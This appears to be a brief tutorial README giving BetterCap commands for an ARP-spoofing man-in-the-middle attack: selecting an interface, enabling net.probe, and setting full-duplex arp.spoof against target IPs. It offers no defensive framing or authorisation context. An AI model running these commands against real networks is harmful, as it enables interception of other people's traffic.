MITM
Man In the Middle Attack Using BetterCap
#install bettercap on your linux system
bettercap -iface [network interface name]
#finding network interface name
#wlp0s20f3 is my network interface name
help
help net.probe
#you can use help if you don't know what that specific thing does
net.probe on #this should be on for spoofing
#Be MITM
help arp.spoof
set arp.spoof.fullduplex true
set arp.spoof.targets [targets ip, targets ip]
arp.spoof on